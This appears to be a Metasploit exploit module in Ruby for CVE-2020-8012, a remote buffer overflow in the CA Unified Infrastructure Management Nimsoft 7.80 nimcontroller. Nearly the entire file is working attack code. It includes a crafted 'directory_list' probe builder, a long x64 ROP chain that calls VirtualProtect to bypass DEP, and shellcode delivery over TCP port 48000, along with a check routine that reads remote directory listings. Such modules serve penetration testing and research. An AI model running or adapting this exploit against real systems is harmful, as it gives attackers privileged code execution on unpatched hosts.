469 lines
15 KiB
Ruby
469 lines
15 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::Tcp
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prepend Msf::Exploit::Remote::AutoCheck
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow within the CA Unified Infrastructure Management nimcontroller.
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The vulnerability occurs in the robot (controller) component when sending a specially crafted directory_list
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probe.
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Technically speaking the target host must also be vulnerable to CVE-2020-8010 in order to reach the
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directory_list probe.
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},
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'License' => MSF_LICENSE,
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'Author' => [
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'wetw0rk' # Vulnerability Discovery and Metasploit module
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],
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'References' => [
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[ 'CVE', '2020-8010' ], # CA UIM Probe Improper ACL Handling RCE (Multiple Attack Vectors)
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[ 'CVE', '2020-8012' ], # CA UIM nimbuscontroller Buffer Overflow RCE
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[ 'URL', 'https://support.broadcom.com/external/content/release-announcements/CA20200205-01-Security-Notice-for-CA-Unified-Infrastructure-Management/7832' ],
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[ 'PACKETSTORM', '156577' ]
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],
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'DefaultOptions' => {
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'EXITFUNC' => 'process',
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'AUTORUNSCRIPT' => 'post/windows/manage/migrate'
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},
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'Payload' => {
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'Space' => 2000,
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Arch' => ARCH_X64,
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'Targets' => [
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[
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'Windows Universal (x64) - v7.80.3132',
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{
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'Platform' => 'win',
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'Arch' => [ARCH_X64],
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'Version' => '7.80 [Build 7.80.3132, Jun 1 2015]',
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'Ret' => 0x000000014006fd3d # pop rsp; or al, 0x00; add rsp, 0x0000000000000448 ; ret [controller.exe]
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}
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],
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],
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'Privileged' => true,
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'Notes' => {
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'Stability' => [ CRASH_SAFE ],
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'Reliability' => [ REPEATABLE_SESSION ],
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'SideEffects' => [ ]
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},
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'DisclosureDate' => '2020-02-05',
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'DefaultTarget' => 0
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)
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)
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register_options(
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[
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OptString.new('DIRECTORY', [false, 'Directory path to obtain a listing', 'C:\\']),
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Opt::RPORT(48000),
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]
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)
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end
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# check: there are only two prerequisites to getting code execution. The version number
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# and access to the directory_list probe. The easiest way to get this information is to
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# ask nicely ;)
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def check
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connect
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sock.put(generate_probe('get_info', ['interfaces=0']))
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response = sock.get_once(4096)
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unless response
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return CheckCode::Unknown('No response was returned from the target.')
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end
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list_check = -1
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begin
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if target['Version'].in? response
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print_status("Version #{target['Version']} detected, sending directory_list probe")
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sock.put(generate_probe('directory_list', ["directory=#{datastore['DIRECTORY']}", 'detail=1']))
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list_check = parse_listing(sock.get_once(4096), datastore['DIRECTORY'])
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end
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ensure
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disconnect
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end
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if list_check == 0
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return CheckCode::Appears
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else
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return CheckCode::Safe
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end
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end
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def exploit
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connect
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shellcode = make_nops(500)
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shellcode << payload.encoded
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offset = rand_text_alphanumeric(1000)
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offset += "\x0f" * 33
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heap_flip = [target.ret].pack('Q<*')
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alignment = rand_text_alphanumeric(7) # Adjustment for the initial chain
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rop_chain = generate_rsp_chain # Stage1: Stack alignment
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rop_chain += rand_text_alphanumeric(631) # Adjust for second stage
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rop_chain += generate_rop_chain # Stage2: GetModuleHandleA, GetProcAddressStub, VirtualProtectStub
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rop_chain += rand_text_alphanumeric((3500 - # ROP chain MUST be 3500 bytes, or exploitation WILL fail
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rop_chain.length
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))
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rop_chain += "kernel32.dll\x00"
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rop_chain += "VirtualProtect\x00"
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trigger = "\x10" * (8000 - (
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offset.length +
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heap_flip.length +
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alignment.length +
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rop_chain.length +
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shellcode.length
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)
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)
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buffer = offset + heap_flip + alignment + rop_chain + shellcode + trigger
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exploit_packet = generate_probe(
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'directory_list',
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["directory=#{buffer}"]
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)
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sock.put(exploit_packet)
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disconnect
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end
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# generate_rsp_chain: This chain will re-align RSP / Stack, it MUST be a multiple of 16 bytes
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# otherwise our call will fail. I had VP work 50% of the time when the stack was unaligned.
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def generate_rsp_chain
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rop_gadgets = [0x0000000140018c42] * 20 # ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret
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0x00000001401a3000, # *ptr to handle reference ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
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0x00000001400af237, # pop rdi ; ret
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0x0000000000000007, # alignment for rsp
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0x0000000140025dab
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] # add esp, edi ; adc byte [rax], al ; add rsp, 0x0000000000000278 ; ret
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return rop_gadgets.pack('Q<*')
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end
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# generate_rop_chain: This chain will craft function calls to GetModuleHandleA, GetProcAddressStub,
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# and finally VirtualProtectStub. Once completed, we have bypassed DEP and can get code execution.
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# Since we dynamically generate VirtualProtectStub, we needn't worry about other OS's.
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def generate_rop_chain
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# RAX -> HMODULE GetModuleHandleA(
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# ( RCX == *module ) LPCSTR lpModuleName,
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# );
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rop_gadgets = [0x0000000140018c42] * 15 # ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret
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0x0000000000000000, # (zero out rax)
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0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000
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] #
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [
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0x0000000140131643, # pop rcx ; ret
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0x00000000000009dd, # offset to "kernel32.dll"
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0x000000014006d8d8
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] # add rax, rcx ; add rsp, 0x38 ; ret
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rop_gadgets += [0x0000000140018c42] * 15 # ret
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rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret
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0x000000014015e310, # GetModuleHandleA (0x00000000014015E330-20)
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0x00000001400d1161
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] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
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rop_gadgets += [0x0000000140018c42] * 17 # ret
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# RAX -> FARPROC GetProcAddressStub(
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# ( RCX == &addr ) HMODULE hModule,
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# ( RDX == *module ) lpProcName
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# );
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rop_gadgets += [
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0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule)
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0x0000000140002ef6, # pop rax ; ret
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0x0000000000000000, # (zero out rax)
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0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000
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] #
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [
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0x0000000140131643, # pop rcx ; ret
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0x0000000000000812, # offset to "virtualprotectstub"
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0x000000014006d8d8
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] # add rax, rcx ; add rsp, 0x38 ; ret
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rop_gadgets += [0x0000000140018c42] * 15 # ret
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rop_gadgets += [0x0000000140135e39] # mov edx, eax ; mov rbx, qword [rsp+0x30] ; mov rbp, qword [rsp+0x38] ; mov rsi, qword [rsp+0x40]
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# mov rdi, qword [rsp+0x48] ; mov eax, edx ; add rsp, 0x20 ; pop r12 ; ret
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [0x00000001400d1ab8] # mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [0x0000000140111ca1] # xchg rax, r13 ; or al, 0x00 ; ret
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rop_gadgets += [
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0x00000001400cf3d5, # mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000
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] #
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rop_gadgets += [0x0000000140018c42] * 6 # ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret
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0x000000014015e318
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] # GetProcAddressStub (0x00000000014015e338-20)
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rop_gadgets += [0x00000001400d1161] # call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret
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rop_gadgets += [0x0000000140018c42] * 17 # ret
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# RAX -> BOOL VirtualProtectStub(
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# ( RCX == *shellcode ) LPVOID lpAddress,
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# ( RDX == len(shellcode) ) SIZE_T dwSize,
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# ( R8 == 0x0000000000000040 ) DWORD flNewProtect,
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# ( R9 == *writeable location ) PDWORD lpflOldProtect,
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# );
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rop_gadgets += [
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0x0000000140111c09, # xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub)
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0x000000014013d651, # pop r12 ; ret
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0x00000001401fb000, # *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE )
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0x00000001400eba74
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] # or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret
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0x0000000000000000
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]
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rop_gadgets += [
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0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000
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] #
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [
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0x0000000140131643, # pop rcx ; ret
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0x000000000000059f, # (offset to *shellcode)
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0x000000014006d8d8
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] # add rax, rcx ; add rsp, 0x38 ; ret
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rop_gadgets += [0x0000000140018c42] * 15 # ret
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rop_gadgets += [0x00000001400b741b] # xchg eax, ecx ; ret
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rop_gadgets += [
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0x00000001400496a2, # pop rdx ; ret
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0x00000000000005dc
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] # dwSize
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rop_gadgets += [
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0x00000001400bc39c, # pop r8 ; ret
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0x0000000000000040
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] # flNewProtect
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rop_gadgets += [0x00000001400c5f8a] # mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub)
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rop_gadgets += [0x0000000140018c42] * 17 # ret
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rop_gadgets += [0x00000001400a0b55] # call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h]
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# mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret
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rop_gadgets += [0x0000000140018c42] * 20 # ret
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rop_gadgets += [
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0x0000000140002ef6, # pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE)
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0x0000000000000000, # (zero out rax)
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0x00000001400eade1, # mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000, #
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0x0000000000000000
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] #
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rop_gadgets += [0x0000000140018c42] * 10 # ret
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rop_gadgets += [
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0x0000000140131643, # pop rcx ; ret
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0x0000000000000317, # (offset to our shellcode)
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0x000000014006d8d8
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] # add rax, rcx ; add rsp, 0x38 ; ret
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rop_gadgets += [0x0000000140018c42] * 15 # ret
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rop_gadgets += [0x00000001400a9747] # jmp rax
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rop_gadgets += [0x0000000140018c42] * 20 # ret (do not remove)
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return rop_gadgets.pack('Q<*')
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end
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# parse_listing: once the directory_list probe is sent we're returned a directory listing
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# unfortunately it's hard to read this simply "decodes" it
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def parse_listing(response, directory)
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result = { 'name' => '', 'date' => '', 'size' => '', 'type' => '' }
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i = 0
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begin
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dirlist = response.split('\x00')[0].split("\x00")
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index = dirlist.index('entry') + 3
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final = dirlist[index..]
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rescue StandardError
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print_error('Failed to gather directory listing')
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return -1
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end
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print_line("\n Directory of #{directory}\n")
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check = 0
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name = 0
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ftime = 0
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size = 0
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ftype = 0
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while i < final.length
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if name == 1 && final[i].to_i <= 0
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result['name'] = final[i]
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name = 0
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check += 1
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end
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if size >= 1
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if size == 3
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result['size'] = final[i]
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size = 0
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check += 1
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else
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size += 1
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end
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end
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if ftype >= 1
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if ftype == 3
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result['type'] = final[i]
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ftype = 0
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check += 1
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else
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ftype += 1
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end
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end
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if ftime >= 1
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if ftime == 3
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result['date'] = final[i]
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ftime = 0
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check += 1
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else
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ftime += 1
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end
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end
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if final[i].include? 'name'
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name = 1
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end
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if final[i].include? 'size'
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size = 1
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end
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if final[i].include? 'size'
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ftype = 1
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end
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if final[i].include? 'last_modified'
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ftime = 1
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end
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i += 1
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next unless check == 4
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if result['type'] == '2'
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result['type'] = ''
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else
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result['type'] = '<DIR>'
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result['size'] = ''
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end
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begin
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time = Time.at(result['date'].to_i)
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timestamp = time.strftime('%m/%d/%Y %I:%M %p')
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rescue StandardError
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timestamp = '??/??/???? ??:?? ??'
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end
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print_line(format('%20<timestamp>s %6<type>s %<name>s', timestamp: timestamp, type: result['type'], name: result['name']))
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check = 0
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end
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print_line('')
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return 0
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end
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# generate_probe: The nimcontroller utilizes the closed source protocol nimsoft so we need to specially
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# craft probes in order for the controller to accept any input.
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def generate_probe(probe, args)
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client = "#{rand_text_alphanumeric(14)}\x00"
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packet_args = ''
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probe += "\x00"
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for arg in args
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c = ''
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i = 0
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while c != '='
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c = arg[i]
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i += 1
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end
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packet_args << "#{arg[0, (i - 1)]}\x00"
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packet_args << "1\x00#{arg[i..].length + 1}\x00"
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packet_args << "#{arg[i..]}\x00"
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end
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packet_header = 'nimbus/1.0 ' # nimbus header (length of body) (length of args)
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packet_body = "mtype\x00" # mtype
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packet_body << "7\x004\x00100\x00" # 7.4.100
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packet_body << "cmd\x00" # cmd
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packet_body << "7\x00#{probe.length}\x00" # 7.(length of probe)
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packet_body << probe # probe
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packet_body << "seq\x00" # seq
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packet_body << "1\x002\x000\x00" # 1.2.0
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packet_body << "ts\x00" # ts
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packet_body << "1\x0011\x00#{rand_text_alphanumeric(10)}\x00" # 1.11.(UNIX EPOCH TIME)
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packet_body << "frm\x00" # frm
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packet_body << "7\x00#{client.length}\x00" # 7.(length of client)
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packet_body << client # client address
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packet_body << "tout\x00" # tout
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packet_body << "1\x004\x00180\x00" # 1.4.180
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packet_body << "addr\x00" # addr
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packet_body << "7\x000\x00" # 7.0
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#
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# probe packet arguments (dynamic)
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# argument
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# length of arg value
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# argument value
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packet_header << "#{packet_body.length} #{packet_args.length}\r\n"
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probe = packet_header + packet_body + packet_args
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return probe
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end
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end
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